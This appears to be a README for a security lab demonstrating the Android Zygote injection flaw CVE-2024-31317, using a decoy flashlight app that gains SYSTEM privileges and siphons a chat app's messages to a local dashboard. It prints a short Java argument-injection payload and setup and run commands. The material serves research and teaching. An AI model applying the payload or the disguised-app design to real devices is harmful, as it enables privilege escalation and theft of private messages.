🔥 ZygoteExploitDemo - CVE-2024-31317 Android Security Lab

🚨 Educational Demonstration of Android Zygote Injection Vulnerability

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📋 Overview

This lab demonstrates CVE-2024-31317, a critical Android vulnerability that allows a malicious app to escalate privileges to SYSTEM level (UID 1000) and bypass the Android sandbox to read data from other applications in real-time.

🎯 What This Demo Shows

Stage	Description	Visual
1	User installs innocent-looking "Flashlight Pro" app	🔦
2	App exploits CVE-2024-31317 to gain SYSTEM access	💉
3	SYSTEM-level service reads "SecureChat" messages	👁️
4	Stolen messages appear on live dashboard	📊

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🏗️ Project Structure

ZygoteExploitDemo/
├── 📱 apps/
│   ├── SecureChat/              # Victim app (Jetpack Compose)
│   │   ├── Encrypted messages stored in SQLite
│   │   └── Simulates WhatsApp-style encryption
│   │
│   ├── FlashlightPro/           # Malicious app with exploit
│   │   ├── Normal flashlight UI (distraction)
│   │   ├── Background exploit service
│   │   └── WRITE_SECURE_SETTINGS permission
│   │
│   └── MonitorService/          # SYSTEM-level reader
│       ├── Runs with UID 1000 after exploit
│       ├── Reads SecureChat database
│       └── Exfiltrates to dashboard
│
├── 📊 dashboard/                # Flask web dashboard
│   └── app.py                   # Shows stolen messages live
│
├── 📜 scripts/                  # Automation scripts
│   ├── setup_vulnerable_emulator.sh
│   ├── build_all_apps.sh
│   ├── install_all_apps.sh
│   ├── run_exploit.py
│   └── monitor_logs.sh
│
├── 🎯 exploits/                 # Exploit information
│   ├── CVE-2024-31317.md
│   └── payloads.txt
│
└── 📁 tamplates/                # Code templates
    ├── exploit_template.java
    └── dashboard_template.html

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🔧 Technical Details

The Vulnerability

CVE-2024-31317 exists in how Android's Zygote process handles the hidden_api_blacklist_exemptions system setting. Due to missing input sanitization, an attacker can inject newline characters to add arbitrary arguments to Zygote commands.

Attack Vector:

Settings.Global.putString(
    contentResolver,
    "hidden_api_blacklist_exemptions",
    "LClass1;->method1(\n" +
    "7\n" +
    "--setuid=1000\n" +     // Run as SYSTEM
    "--setgid=1000\n" +     // Run as SYSTEM group
    "--invoke-with\n" +
    "am start-service ...;\n"
);

Affected Versions

Version	Status
Android 9 - 14	❌ Vulnerable (pre-June 2024 patch)
Android 14+	✅ Patched (June 2024 security update)
Android 15+	✅ Secure

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🚀 Quick Start Guide

Prerequisites

• ✅ Android Studio (latest)
• ✅ Python 3.8+ with Flask
• ✅ Android SDK with platform tools
• ✅ 10GB free disk space for emulator

Step 1: Clone the Repository

git clone https://github.com/GitAmanS/ZygoteExploitDemo.git
cd ZygoteExploitDemo

Step 2: Set Up Vulnerable Emulator

cd scripts
chmod +x *.sh
./setup_vulnerable_emulator.sh

# Start the emulator
emulator -avd vulnerable_android_12

Step 3: Build and Install Apps

# In a new terminal
cd ZygoteExploitDemo/scripts
./build_all_apps.sh
./install_all_apps.sh

Step 4: Start the Dashboard

cd ../dashboard
pip3 install flask flask-cors
python3 app.py

📱 Open http://localhost:5000 in your browser

Step 5: Run the Exploit

cd ../scripts
python3 run_exploit.py

Step 6: Watch the Magic ✨

1. Open SecureChat app in emulator
2. Send some test messages
3. Watch them appear on the dashboard instantly! 🔴

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📸 Demo Video

🎬 Demo video coming soon

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🔬 How It Works - Step by Step

1. FlashlightPro requests WRITE_SECURE_SETTINGS permission
2. Exploit code injects malicious payload into Zygote settings
3. Zygote spawns MonitorService with SYSTEM privileges (UID 1000)
4. SYSTEM service bypasses Android sandbox restrictions
5. Direct database read from /data/data/com.securechat/databases/
6. Exfiltration to Flask dashboard via HTTP POST
7. Real-time display of stolen encrypted messages

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📚 Learning Resources

• Android Security Bulletins
• CVE-2024-31317 Details
• Original PoC by CleoV2

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🤝 Contributing

Contributions are welcome! Please:

1. Fork the repository
2. Create a feature branch
3. Submit a Pull Request

Areas for contribution:

• 🎯 Additional exploit payloads
• 🛡️ Better detection methods
• 📖 Improved documentation
• 🌍 Translation to other languages

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📄 License

MIT License - See LICENSE file for details

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👨‍💻 Author

Aman - @GitAmanS

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⭐ Support

If you found this educational, please give it a star! ⭐

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Made for security researchers, by a security researcher

_{Remember: With great power comes great responsibility 🕷️}